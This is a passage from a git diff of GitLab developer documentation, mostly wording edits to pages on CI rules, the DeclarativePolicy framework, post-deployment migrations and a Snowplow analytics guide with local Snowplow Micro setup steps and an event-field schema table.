| `if-master-or-tag` | Matches if the pipeline is for the `master` branch or for a tag. | |
| `if-merge-request` | Matches if the pipeline is for a merge request. | |
+| `if-merge-request-title-as-if-foss` | Matches if the pipeline is for a merge request and the MR title includes "RUN AS-IF-FOSS". | |
+| `if-merge-request-title-update-caches` | Matches if the pipeline is for a merge request and the MR title includes "UPDATE CACHE". | |
+| `if-merge-request-title-run-all-rspec` | Matches if the pipeline is for a merge request and the MR title includes "RUN ALL RSPEC". | |
+| `if-security-merge-request` | Matches if the pipeline is for a security merge request. | |
+| `if-security-schedule` | Matches if the pipeline is for a security scheduled pipeline. | |
| `if-nightly-master-schedule` | Matches if the pipeline is for a `master` scheduled pipeline with `$NIGHTLY` set. | |
| `if-dot-com-gitlab-org-schedule` | Limits jobs creation to scheduled pipelines for the `gitlab-org` group on GitLab.com. | |
| `if-dot-com-gitlab-org-master` | Limits jobs creation to the `master` branch for the `gitlab-org` group on GitLab.com. | |
| `if-dot-com-gitlab-org-merge-request` | Limits jobs creation to merge requests for the `gitlab-org` group on GitLab.com. | |
| `if-dot-com-gitlab-org-and-security-tag` | Limits job creation to tags for the `gitlab-org` and `gitlab-org/security` groups on GitLab.com. | |
| `if-dot-com-gitlab-org-and-security-merge-request` | Limit jobs creation to merge requests for the `gitlab-org` and `gitlab-org/security` groups on GitLab.com. | |
+| `if-dot-com-gitlab-org-and-security-tag` | Limit jobs creation to tags for the `gitlab-org` and `gitlab-org/security` groups on GitLab.com. | |
| `if-dot-com-ee-schedule` | Limits jobs to scheduled pipelines for the `gitlab-org/gitlab` project on GitLab.com. | |
| `if-cache-credentials-schedule` | Limits jobs to scheduled pipelines with the `$CI_REPO_CACHE_CREDENTIALS` variable set. | |
+| `if-rspec-fail-fast-disabled` | Limits jobs to pipelines with `$RSPEC_FAIL_FAST_ENABLED` variable not set to `"true"`. | |
+| `if-rspec-fail-fast-skipped` | Matches if the pipeline is for a merge request and the MR title includes "SKIP RSPEC FAIL-FAST". | |
+| `if-security-pipeline-merge-result` | Matches if the pipeline is for a security merge request triggered by `@gitlab-release-tools-bot`. | |
+
+<!-- vale gitlab.Substitutions = YES -->
#### `changes:` patterns
| `changes:` patterns | Description |
|------------------------------|--------------------------------------------------------------------------|
-| `ci-patterns` | Only create job for CI config-related changes. |
-| `yaml-patterns` | Only create job for YAML-related changes. |
+| `ci-patterns` | Only create job for CI configuration-related changes. |
+| `ci-build-images-patterns` | Only create job for CI configuration-related changes related to the `build-images` stage. |
+| `ci-review-patterns` | Only create job for CI configuration-related changes related to the `review` stage. |
+| `ci-qa-patterns` | Only create job for CI configuration-related changes related to the `qa` stage. |
+| `yaml-lint-patterns` | Only create job for YAML-related changes. |
| `docs-patterns` | Only create job for docs-related changes. |
| `frontend-dependency-patterns` | Only create job when frontend dependencies are updated (i.e. `package.json`, and `yarn.lock`). changes. |
| `frontend-patterns` | Only create job for frontend-related changes. |
+| `backend-patterns` | Only create job for backend-related changes. |
+| `db-patterns` | Only create job for DB-related changes. |
| `backstage-patterns` | Only create job for backstage-related changes (i.e. Danger, fixtures, RuboCop, specs). |
| `code-patterns` | Only create job for code-related changes. |
| `qa-patterns` | Only create job for QA-related changes. |
diff --git a/doc/development/policies.md b/doc/development/policies.md
index b44367f7075..c1a87990bc9 100644
--- a/doc/development/policies.md
+++ b/doc/development/policies.md
@@ -1,14 +1,14 @@
---
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# `DeclarativePolicy` framework
The DeclarativePolicy framework is designed to assist in performance of policy checks, and to enable ease of extension for EE. The DSL code in `app/policies` is what `Ability.allowed?` uses to check whether a particular action is allowed on a subject.
-The policy used is based on the subject's class name - so `Ability.allowed?(user, :some_ability, project)` will create a `ProjectPolicy` and check permissions on that.
+The policy used is based on the subject's class name - so `Ability.allowed?(user, :some_ability, project)` creates a `ProjectPolicy` and check permissions on that.
## Managing Permission Rules
@@ -16,7 +16,7 @@ Permissions are broken into two parts: `conditions` and `rules`. Conditions are
### Conditions
-Conditions are defined by the `condition` method, and are given a name and a block. The block will be executed in the context of the policy object - so it can access `@user` and `@subject`, as well as call any methods defined on the policy. Note that `@user` may be nil (in the anonymous case), but `@subject` is guaranteed to be a real instance of the subject class.
+Conditions are defined by the `condition` method, and are given a name and a block. The block is executed in the context of the policy object - so it can access `@user` and `@subject`, as well as call any methods defined on the policy. Note that `@user` may be nil (in the anonymous case), but `@subject` is guaranteed to be a real instance of the subject class.
```ruby
class FooPolicy < BasePolicy
@@ -34,9 +34,9 @@ class FooPolicy < BasePolicy
end
```
-When you define a condition, a predicate method is defined on the policy to check whether that condition passes - so in the above example, an instance of `FooPolicy` will also respond to `#is_public?` and `#thing?`.
+When you define a condition, a predicate method is defined on the policy to check whether that condition passes - so in the above example, an instance of `FooPolicy` also responds to `#is_public?` and `#thing?`.
-Conditions are cached according to their scope. Scope and ordering will be covered later.
+Conditions are cached according to their scope. Scope and ordering is covered later.
### Rules
@@ -63,13 +63,23 @@ end
Within the rule DSL, you can use:
- A regular word mentions a condition by name - a rule that is in effect when that condition is truthy.
-- `~` indicates negation.
+- `~` indicates negation, also available as `negate`.
- `&` and `|` are logical combinations, also available as `all?(...)` and `any?(...)`.
- `can?(:other_ability)` delegates to the rules that apply to `:other_ability`. Note that this is distinct from the instance method `can?`, which can check dynamically - this only configures a delegation to another ability.
+`~`, `&` and `|` operators are overridden methods in
+[`DeclarativePolicy::Rule::Base`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/declarative_policy/rule.rb).
+
+Do not use boolean operators such as `&&` and `||` within the rule DSL,
+as conditions within rule blocks are objects, not booleans. The same
+applies for ternary operators (`condition ? ... : ...`), and `if`
+blocks. These operators cannot be overridden, and are hence banned via a
+[custom
+cop](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49771).
+
## Scores, Order, Performance
-To see how the rules get evaluated into a judgment, it is useful in a console to use `policy.debug(:some_ability)`. This will print the rules in the order they are evaluated.
+To see how the rules get evaluated into a judgment, it is useful in a console to use `policy.debug(:some_ability)`. This prints the rules in the order they are evaluated.
For example, let's say you wanted to debug `IssuePolicy`. You might run
the debugger in this way:
@@ -109,9 +119,9 @@ When a policy is asked whether a particular ability is allowed
compute all the conditions on the policy. First, only the rules relevant
to that particular ability are selected. Then, the execution model takes
advantage of short-circuiting, and attempts to sort rules based on a
-heuristic of how expensive they will be to calculate. The sorting is
-dynamic and cache-aware, so that previously calculated conditions will
-be considered first, before computing other conditions.
+heuristic of how expensive they are to calculate. The sorting is
+dynamic and cache-aware, so that previously calculated conditions are
+considered first, before computing other conditions.
Note that the score is chosen by a developer via the `score:` parameter
in a `condition` to denote how expensive evaluating this rule would be
@@ -119,7 +129,7 @@ relative to other rules.
## Scope
-Sometimes, a condition will only use data from `@user` or only from `@subject`. In this case, we want to change the scope of the caching, so that we don't recalculate conditions unnecessarily. For example, given:
+Sometimes, a condition only uses data from `@user` or only from `@subject`. In this case, we want to change the scope of the caching, so that we don't recalculate conditions unnecessarily. For example, given:
```ruby
class FooPolicy < BasePolicy
@@ -135,10 +145,10 @@ Naively, if we call `Ability.allowed?(user1, :some_ability, foo)` and `Ability.a
condition(:expensive_condition, scope: :subject) { @subject.expensive_query? }
```
-then the result of the condition will be cached globally only based on the subject - so it will not be calculated repeatedly for different users. Similarly, `scope: :user` will cache only based on the user.
+then the result of the condition is cached globally only based on the subject - so it is not calculated repeatedly for different users. Similarly, `scope: :user` caches only based on the user.
**DANGER**: If you use a `:scope` option when the condition actually uses data from
-both user and subject (including a simple anonymous check!) your result will be cached at too global of a scope and will result in cache bugs.
+both user and subject (including a simple anonymous check!) your result is cached at too global of a scope and results in cache bugs.
Sometimes we are checking permissions for a lot of users for one subject, or a lot of subjects for one user. In this case, we want to set a *preferred scope* - i.e. tell the system that we prefer rules that can be cached on the repeated parameter. For example, in `Ability.users_that_can_read_project`:
@@ -150,7 +160,7 @@ def users_that_can_read_project(users, project)
end
```
-This will, for example, prefer checking `project.public?` to checking `user.admin?`.
+This, for example, prefers checking `project.public?` to checking `user.admin?`.
## Delegation
@@ -162,7 +172,7 @@ class FooPolicy < BasePolicy
end
```
-will include all rules from `ProjectPolicy`. The delegated conditions will be evaluated with the correct delegated subject, and will be sorted along with the regular rules in the policy. Note that only the relevant rules for a particular ability will actually be considered.
+includes all rules from `ProjectPolicy`. The delegated conditions are evaluated with the correct delegated subject, and are sorted along with the regular rules in the policy. Note that only the relevant rules for a particular ability are actually considered.
### Overrides
@@ -203,7 +213,7 @@ end
But the food preferences one is harder - because of the `prevent` call in the
parent policy, if the parent dislikes it, even calling `enable` in the child
-will not enable `:eat_broccoli`.
+does not enable `:eat_broccoli`.
We could remove the `prevent` call in the parent policy, but that still doesn't
help us, since the rules are different: parents get to eat what they like, and
@@ -226,7 +236,7 @@ class ChildPolicy < BasePolicy
end
```
-With this definition, the `ChildPolicy` will _never_ look in the `ParentPolicy` to
+With this definition, the `ChildPolicy` _never_ looks in the `ParentPolicy` to
satisfy `:eat_broccoli`, but it _will_ use it for any other abilities. The child
policy can then define `:eat_broccoli` in a way that makes sense for `Child` and not
`Parent`.
@@ -243,7 +253,7 @@ Other approaches can include for example using different ability names. Choosing
to eat a food and eating foods you are given are semantically distinct, and they
could be named differently (perhaps `chooses_to_eat_broccoli` and
`eats_what_is_given` in this case). It can depend on how polymorphic the call
-site is. If you know that we will always check the policy with a `Parent` or a
+site is. If you know that we always check the policy with a `Parent` or a
`Child`, then we can choose the appropriate ability name. If the call site is
polymorphic, then we cannot do that.
@@ -260,4 +270,4 @@ class Foo
end
```
-This will use & check permissions on the `SomeOtherPolicy` class rather than the usual calculated `FooPolicy` class.
+This uses and checks permissions on the `SomeOtherPolicy` class rather than the usual calculated `FooPolicy` class.
diff --git a/doc/development/polling.md b/doc/development/polling.md
index b06507787b0..18f9fb954dd 100644
--- a/doc/development/polling.md
+++ b/doc/development/polling.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Polling with ETag caching
@@ -47,7 +47,7 @@ Cache Hit:
resource.
1. If the `If-None-Match` header matches the current value in Redis we know
that the resource did not change so we can send 304 response immediately,
- without querying the database at all. The client's browser will use the
+ without querying the database at all. The client's browser uses the
cached response.
1. If the `If-None-Match` header does not match the current value in Redis
we have to generate a new response, because the resource changed.
diff --git a/doc/development/polymorphic_associations.md b/doc/development/polymorphic_associations.md
index 66ea974063a..cabd2e3fb41 100644
--- a/doc/development/polymorphic_associations.md
+++ b/doc/development/polymorphic_associations.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Polymorphic Associations
@@ -16,7 +16,7 @@ target ID. For example, at the time of writing we have such a setup for
- `source_type`: a string defining the model to use, can be either `Project` or
`Namespace`.
- `source_id`: the ID of the row to retrieve based on `source_type`. For
- example, when `source_type` is `Project` then `source_id` will contain a
+ example, when `source_type` is `Project` then `source_id` contains a
project ID.
While such a setup may appear to be useful, it comes with many drawbacks; enough
@@ -24,8 +24,8 @@ that you should avoid this at all costs.
## Space Wasted
-Because this setup relies on string values to determine the model to use it will
-end up wasting a lot of space. For example, for `Project` and `Namespace` the
+Because this setup relies on string values to determine the model to use, it
+wastes a lot of space. For example, for `Project` and `Namespace` the
maximum size is 9 bytes, plus 1 extra byte for every string when using
PostgreSQL. While this may only be 10 bytes per row, given enough tables and
rows using such a setup we can end up wasting quite a bit of disk space and
@@ -84,7 +84,7 @@ Let's say you have a `members` table storing both approved and pending members,
for both projects and groups, and the pending state is determined by the column
`requested_at` being set or not. Schema wise such a setup can lead to various
columns only being set for certain rows, wasting space. It's also possible that
-certain indexes will only be set for certain rows, again wasting space. Finally,
+certain indexes are only set for certain rows, again wasting space. Finally,
querying such a table requires less than ideal queries. For example:
```sql
@@ -121,7 +121,7 @@ WHERE group_id = 4
```
If you want to get both you can use a UNION, though you need to be explicit
-about what columns you want to SELECT as otherwise the result set will use the
+about what columns you want to SELECT as otherwise the result set uses the
columns of the first query. For example:
```sql
@@ -147,6 +147,6 @@ filter rows using the `IS NULL` condition.
To summarize: using separate tables allows us to use foreign keys effectively,
create indexes only where necessary, conserve space, query data more
efficiently, and scale these tables more easily (e.g. by storing them on
-separate disks). A nice side effect of this is that code can also become easier
-as you won't end up with a single model having to handle different kinds of
+separate disks). A nice side effect of this is that code can also become easier,
+as a single model isn't responsible for handling different kinds of
data.
diff --git a/doc/development/post_deployment_migrations.md b/doc/development/post_deployment_migrations.md
index 2550f9547df..6ab3620c197 100644
--- a/doc/development/post_deployment_migrations.md
+++ b/doc/development/post_deployment_migrations.md
@@ -1,14 +1,14 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Post Deployment Migrations
Post deployment migrations are regular Rails migrations that can optionally be
executed after a deployment. By default these migrations are executed alongside
-the other migrations. To skip these migrations you will have to set the
+the other migrations. To skip these migrations you must set the
environment variable `SKIP_POST_DEPLOYMENT_MIGRATIONS` to a non-empty value
when running `rake db:migrate`.
@@ -19,7 +19,7 @@ migrations:
bundle exec rake db:migrate
```
-This however will skip post deployment migrations:
+This however skips post deployment migrations:
```shell
SKIP_POST_DEPLOYMENT_MIGRATIONS=true bundle exec rake db:migrate
@@ -40,7 +40,7 @@ Once all servers have been updated you can run `chef-client` again on a single
server _without_ the environment variable.
The process is similar for other deployment techniques: first you would deploy
-with the environment variable set, then you'll essentially re-deploy a single
+with the environment variable set, then you re-deploy a single
server but with the variable _unset_.
## Creating Migrations
@@ -51,7 +51,7 @@ To create a post deployment migration you can use the following Rails generator:
bundle exec rails g post_deployment_migration migration_name_here
```
-This will generate the migration file in `db/post_migrate`. These migrations
+This generates the migration file in `db/post_migrate`. These migrations
behave exactly like regular Rails migrations.
## Use Cases
diff --git a/doc/development/product_analytics/event_dictionary.md b/doc/development/product_analytics/event_dictionary.md
index 88cb75fdb83..9c363f08cb4 100644
--- a/doc/development/product_analytics/event_dictionary.md
+++ b/doc/development/product_analytics/event_dictionary.md
@@ -3,3 +3,6 @@ redirect_to: 'https://about.gitlab.com/handbook/product/product-analytics-guide/
---
This document was moved to [another location](https://about.gitlab.com/handbook/product/product-analytics-guide/).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/product_analytics/index.md b/doc/development/product_analytics/index.md
index 88cb75fdb83..9c363f08cb4 100644
--- a/doc/development/product_analytics/index.md
+++ b/doc/development/product_analytics/index.md
@@ -3,3 +3,6 @@ redirect_to: 'https://about.gitlab.com/handbook/product/product-analytics-guide/
---
This document was moved to [another location](https://about.gitlab.com/handbook/product/product-analytics-guide/).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/product_analytics/snowplow.md b/doc/development/product_analytics/snowplow.md
index c5f48994d5c..48b816f0b83 100644
--- a/doc/development/product_analytics/snowplow.md
+++ b/doc/development/product_analytics/snowplow.md
@@ -1,7 +1,7 @@
---
stage: Growth
group: Product Analytics
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Snowplow Guide
@@ -71,8 +71,8 @@ The following example shows a basic request/response flow between the following
- Snowplow JS / Ruby Trackers on GitLab.com
- [GitLab.com Snowplow Collector](https://gitlab.com/gitlab-com/gl-infra/readiness/-/blob/master/library/snowplow/index.md)
-- GitLab's S3 Bucket
-- GitLab's Snowflake Data Warehouse
+- The GitLab S3 Bucket
+- The GitLab Snowflake Data Warehouse
- Sisense:
```mermaid
@@ -98,7 +98,7 @@ sequenceDiagram
## Structured event taxonomy
-When adding new click events, we should add them in a way that's internally consistent. If we don't, it'll be very painful to perform analysis across features since each feature will be capturing events differently.
+When adding new click events, we should add them in a way that's internally consistent. If we don't, it is very painful to perform analysis across features since each feature captures events differently.
The current method provides several attributes that are sent on each click event. Please try to follow these guidelines when specifying events to capture:
@@ -110,6 +110,10 @@ The current method provides several attributes that are sent on each click event
| property | text | false | Any additional property of the element, or object being acted on. |
| value | decimal | false | Describes a numeric value or something directly related to the event. This could be the value of an input (e.g. `10` when clicking `internal` visibility). |
+### Web-specific parameters
+
+Snowplow JS adds many [web-specific parameters](https://docs.snowplowanalytics.com/docs/collecting-data/collecting-from-own-applications/snowplow-tracker-protocol/#Web-specific_parameters) to all web events by default.
+
## Implementing Snowplow JS (Frontend) tracking
GitLab provides `Tracking`, an interface that wraps the [Snowplow JavaScript Tracker](https://github.com/snowplow/snowplow/wiki/javascript-tracker) for tracking custom events. There are a few ways to use tracking, but each generally requires at minimum, a `category` and an `action`. Additional data can be provided that adheres to our [Structured event taxonomy](#structured-event-taxonomy).
@@ -150,6 +154,17 @@ Below is a list of supported `data-track-*` attributes:
| `data-track-value` | false | The `value` as described in our [Structured event taxonomy](#structured-event-taxonomy). If omitted, this is the element's `value` property or an empty string. For checkboxes, the default value is the element's checked attribute or `false` when unchecked. |
| `data-track-context` | false | The `context` as described in our [Structured event taxonomy](#structured-event-taxonomy). |
+#### Caveats
+
+When using the GitLab helper method [`nav_link`](https://gitlab.com/gitlab-org/gitlab/-/blob/898b286de322e5df6a38d257b10c94974d580df8/app/helpers/tab_helper.rb#L69) be sure to wrap `html_options` under the `html_options` keyword argument.
+Be careful, as this behavior can be confused with the `ActionView` helper method [`link_to`](https://api.rubyonrails.org/v5.2.3/classes/ActionView/Helpers/UrlHelper.html#method-i-link_to) that does not require additional wrapping of `html_options`
+
+`nav_link(controller: ['dashboard/groups', 'explore/groups'], html_options: { data: { track_label: "groups_dropdown", track_event: "click_dropdown" } })`
+
+vs
+
+`link_to assigned_issues_dashboard_path, title: _('Issues'), data: { track_label: 'main_navigation', track_event: 'click_issues_link' }`
+
### Tracking within Vue components
There's a tracking Vue mixin that can be used in components if more complex tracking is required. To use it, first import the `Tracking` library and request a mixin.
@@ -366,48 +381,79 @@ Snowplow Micro is a Docker-based solution for testing frontend and backend event
- Look at the [Snowplow Micro repository](https://github.com/snowplow-incubator/snowplow-micro)
- Watch our [installation guide recording](https://www.youtube.com/watch?v=OX46fo_A0Ag)
-1. Install [Snowplow Micro](https://github.com/snowplow-incubator/snowplow-micro):
-
- ```shell
- docker run --mount type=bind,source=$(pwd)/example,destination=/config -p 9090:9090 snowplow/snowplow-micro:latest --collector-config /config/micro.conf --iglu /config/iglu.json
- ```
+1. Ensure Docker is installed and running.
-1. Install Snowplow Micro by cloning the settings in [this project](https://gitlab.com/gitlab-org/snowplow-micro-configuration):
+1. Install [Snowplow Micro](https://github.com/snowplow-incubator/snowplow-micro) by cloning the settings in [this project](https://gitlab.com/gitlab-org/snowplow-micro-configuration):
+1. Navigate to the directory with the cloned project, and start the appropriate Docker
+ container with the following script:
```shell
- git clone git@gitlab.com:gitlab-org/snowplow-micro-configuration.git
./snowplow-micro.sh
```
-1. Update port in SQL to set `9090`:
+1. Update your instance's settings to enable Snowplow events and point to the Snowplow Micro collector:
```shell
gdk psql -d gitlabhq_development
update application_settings set snowplow_collector_hostname='localhost:9090', snowplow_enabled=true, snowplow_cookie_domain='.gitlab.com';
```
-1. Update `app/assets/javascripts/tracking.js` to [remove this line](https://gitlab.com/snippets/1918635):
+1. Update `DEFAULT_SNOWPLOW_OPTIONS` in `app/assets/javascripts/tracking.js` to remove `forceSecureTracker: true`:
+
+ ```diff
+ diff --git a/app/assets/javascripts/tracking.js b/app/assets/javascripts/tracking.js
+ index 0a1211d0a76..3b98c8f28f2 100644
+ --- a/app/assets/javascripts/tracking.js
+ +++ b/app/assets/javascripts/tracking.js
+ @@ -7,7 +7,6 @@ const DEFAULT_SNOWPLOW_OPTIONS = {
+ appId: '',
+ userFingerprint: false,
+ respectDoNotTrack: true,
+ - forceSecureTracker: true,
+ eventMethod: 'post',
+ contexts: { webPage: true, performanceTiming: true },
+ formTracking: false,
- ```javascript
- forceSecureTracker: true
```
-1. Update `lib/gitlab/tracking.rb` to [add these lines](https://gitlab.com/snippets/1918635):
-
- ```ruby
- protocol: 'http',
- port: 9090,
+1. Update `snowplow_options` in `lib/gitlab/tracking.rb` to add `protocol` and `port`:
+
+ ```diff
+ diff --git a/lib/gitlab/tracking.rb b/lib/gitlab/tracking.rb
+ index 618e359211b..e9084623c43 100644
+ --- a/lib/gitlab/tracking.rb
+ +++ b/lib/gitlab/tracking.rb
+ @@ -41,7 +41,9 @@ def snowplow_options(group)
+ cookie_domain: Gitlab::CurrentSettings.snowplow_cookie_domain,
+ app_id: Gitlab::CurrentSettings.snowplow_app_id,
+ form_tracking: additional_features,
+ - link_click_tracking: additional_features
+ + link_click_tracking: additional_features,
+ + protocol: 'http',
+ + port: 9090
+ }.transform_keys! { |key| key.to_s.camelize(:lower).to_sym }
+ end
```
-1. Update `lib/gitlab/tracking.rb` to [change async emitter from https to http](https://gitlab.com/snippets/1918635):
+1. Update `emitter` in `lib/gitlab/tracking/destinations/snowplow.rb` to change `protocol`:
+
+ ```diff
+ diff --git a/lib/gitlab/tracking/destinations/snowplow.rb b/lib/gitlab/tracking/destinations/snowplow.rb
+ index 4fa844de325..5dd9d0eacfb 100644
+ --- a/lib/gitlab/tracking/destinations/snowplow.rb
+ +++ b/lib/gitlab/tracking/destinations/snowplow.rb
+ @@ -40,7 +40,7 @@ def tracker
+ def emitter
+ SnowplowTracker::AsyncEmitter.new(
+ Gitlab::CurrentSettings.snowplow_collector_hostname,
+ - protocol: 'https'
+ + protocol: 'http'
+ )
+ end
+ end
- ```ruby
- SnowplowTracker::AsyncEmitter.new(Gitlab::CurrentSettings.snowplow_collector_hostname, protocol: 'http'),
```
-1. Enable Snowplow in the admin area, Settings::Integrations::Snowplow to point to:
- `http://localhost:3000/admin/application_settings/integrations#js-snowplow-settings`.
-
1. Restart GDK:
```shell
@@ -417,9 +463,11 @@ Snowplow Micro is a Docker-based solution for testing frontend and backend event
1. Send a test Snowplow event from the Rails console:
```ruby
- Gitlab::Tracking.self_describing_event('iglu:com.gitlab/pageview_context/jsonschema/1-0-0', { page_type: 'MY_TYPE' }, context: nil )
+ Gitlab::Tracking.self_describing_event('iglu:com.gitlab/pageview_context/jsonschema/1-0-0', data: { page_type: 'MY_TYPE' }, context: nil)
```
+1. Navigate to `localhost:9090/micro/good` to see the event.
+
### Snowplow Mini
[Snowplow Mini](https://github.com/snowplow/snowplow-mini) is an easily-deployable, single-instance version of Snowplow.
@@ -427,3 +475,142 @@ Snowplow Micro is a Docker-based solution for testing frontend and backend event
Snowplow Mini can be used for testing frontend and backend events on a production, staging and local development environment.
For GitLab.com, we're setting up a [QA and Testing environment](https://gitlab.com/gitlab-org/telemetry/-/issues/266) using Snowplow Mini.
+
+## Snowplow Schemas
+
+### Default Schema
+
+| Field Name | Required | Type | Description |
+|--------------------------|---------------------|-----------|----------------------------------------------------------------------------------------------------------------------------------|
+| app_id | **{check-circle}** | string | Unique identifier for website / application |
+| base_currency | **{dotted-circle}** | string | Reporting currency |
+| br_colordepth | **{dotted-circle}** | integer | Browser color depth |
+| br_cookies | **{dotted-circle}** | boolean | Does the browser permit cookies? |
+| br_family | **{dotted-circle}** | string | Browser family |
+| br_features_director | **{dotted-circle}** | boolean | Director plugin installed? |
+| br_features_flash | **{dotted-circle}** | boolean | Flash plugin installed? |
+| br_features_gears | **{dotted-circle}** | boolean | Google gears installed? |
+| br_features_java | **{dotted-circle}** | boolean | Java plugin installed? |
+| br_features_pdf | **{dotted-circle}** | boolean | Adobe PDF plugin installed? |
+| br_features_quicktime | **{dotted-circle}** | boolean | Quicktime plugin installed? |
+| br_features_realplayer | **{dotted-circle}** | boolean | Realplayer plugin installed? |
+| br_features_silverlight | **{dotted-circle}** | boolean | Silverlight plugin installed? |
+| br_features_windowsmedia | **{dotted-circle}** | boolean | Windows media plugin installed? |
+| br_lang | **{dotted-circle}** | string | Language the browser is set to |
+| br_name | **{dotted-circle}** | string | Browser name |
+| br_renderengine | **{dotted-circle}** | string | Browser rendering engine |
+| br_type | **{dotted-circle}** | string | Browser type |
+| br_version | **{dotted-circle}** | string | Browser version |
+| br_viewheight | **{dotted-circle}** | string | Browser viewport height |
+| br_viewwidth | **{dotted-circle}** | string | Browser viewport width |
+| collector_tstamp | **{dotted-circle}** | timestamp | Time stamp for the event recorded by the collector |
+| contexts | **{dotted-circle}** | | |
+| derived_contexts | **{dotted-circle}** | | Contexts derived in the Enrich process |
+| derived_tstamp | **{dotted-circle}** | timestamp | Timestamp making allowance for innaccurate device clock |
+| doc_charset | **{dotted-circle}** | string | Web page’s character encoding |
+| doc_height | **{dotted-circle}** | string | Web page height |
+| doc_width | **{dotted-circle}** | string | Web page width |
+| domain_sessionid | **{dotted-circle}** | string | Unique identifier (UUID) for this visit of this user_id to this domain |
+| domain_sessionidx | **{dotted-circle}** | integer | Index of number of visits that this user_id has made to this domain (The first visit is `1`) |
+| domain_userid | **{dotted-circle}** | string | Unique identifier for a user, based on a first party cookie (so domain specific) |
+| dvce_created_tstamp | **{dotted-circle}** | timestamp | Timestamp when event occurred, as recorded by client device |
+| dvce_ismobile | **{dotted-circle}** | boolean | Indicates whether device is mobile |
+| dvce_screenheight | **{dotted-circle}** | string | Screen / monitor resolution |
+| dvce_screenwidth | **{dotted-circle}** | string | Screen / monitor resolution |
+| dvce_sent_tstamp | **{dotted-circle}** | timestamp | Timestamp when event was sent by client device to collector |
+| dvce_type | **{dotted-circle}** | string | Type of device |
+| etl_tags | **{dotted-circle}** | string | JSON of tags for this ETL run |
+| etl_tstamp | **{dotted-circle}** | timestamp | Timestamp event began ETL |
+| event | **{dotted-circle}** | string | Event type |
+| event_fingerprint | **{dotted-circle}** | string | Hash client-set event fields |
+| event_format | **{dotted-circle}** | string | Format for event |
+| event_id | **{dotted-circle}** | string | Event UUID |
+| event_name | **{dotted-circle}** | string | Event name |
+| event_vendor | **{dotted-circle}** | string | The company who developed the event model |
+| event_version | **{dotted-circle}** | string | Version of event schema |
+| geo_city | **{dotted-circle}** | string | City of IP origin |
+| geo_country | **{dotted-circle}** | string | Country of IP origin |
+| geo_latitude | **{dotted-circle}** | string | An approximate latitude |
+| geo_longitude | **{dotted-circle}** | string | An approximate longitude |
+| geo_region | **{dotted-circle}** | string | Region of IP origin |
+| geo_region_name | **{dotted-circle}** | string | Region of IP origin |
+| geo_timezone | **{dotted-circle}** | string | Timezone of IP origin |
+| geo_zipcode | **{dotted-circle}** | string | Zip (postal) code of IP origin |
+| ip_domain | **{dotted-circle}** | string | Second level domain name associated with the visitor’s IP address |
+| ip_isp | **{dotted-circle}** | string | Visitor’s ISP |
+| ip_netspeed | **{dotted-circle}** | string | Visitor’s connection type |
+| ip_organization | **{dotted-circle}** | string | Organization associated with the visitor’s IP address – defaults to ISP name if none is found |
+| mkt_campaign | **{dotted-circle}** | string | The campaign ID |
+| mkt_clickid | **{dotted-circle}** | string | The click ID |
+| mkt_content | **{dotted-circle}** | string | The content or ID of the ad. |
+| mkt_medium | **{dotted-circle}** | string | Type of traffic source |
+| mkt_network | **{dotted-circle}** | string | The ad network to which the click ID belongs |
+| mkt_source | **{dotted-circle}** | string | The company / website where the traffic came from |
+| mkt_term | **{dotted-circle}** | string | Keywords associated with the referrer |
+| name_tracker | **{dotted-circle}** | string | The tracker namespace |
+| network_userid | **{dotted-circle}** | string | Unique identifier for a user, based on a cookie from the collector (so set at a network level and shouldn’t be set by a tracker) |
+| os_family | **{dotted-circle}** | string | Operating system family |
+| os_manufacturer | **{dotted-circle}** | string | Manufacturers of operating system |
+| os_name | **{dotted-circle}** | string | Name of operating system |
+| os_timezone | **{dotted-circle}** | string | Client operating system timezone |
+| page_referrer | **{dotted-circle}** | string | Referrer URL |
+| page_title | **{dotted-circle}** | string | Page title |
+| page_url | **{dotted-circle}** | string | Page URL |
+| page_urlfragment | **{dotted-circle}** | string | Fragment aka anchor |
+| page_urlhost | **{dotted-circle}** | string | Host aka domain |
+| page_urlpath | **{dotted-circle}** | string | Path to page |
+| page_urlport | **{dotted-circle}** | integer | Port if specified, 80 if not |
+| page_urlquery | **{dotted-circle}** | string | Query string |
+| page_urlscheme | **{dotted-circle}** | string | Scheme (protocol name) |
+| platform | **{dotted-circle}** | string | The platform the app runs on |
+| pp_xoffset_max | **{dotted-circle}** | integer | Maximum page x offset seen in the last ping period |
+| pp_xoffset_min | **{dotted-circle}** | integer | Minimum page x offset seen in the last ping period |
+| pp_yoffset_max | **{dotted-circle}** | integer | Maximum page y offset seen in the last ping period |
+| pp_yoffset_min | **{dotted-circle}** | integer | Minimum page y offset seen in the last ping period |
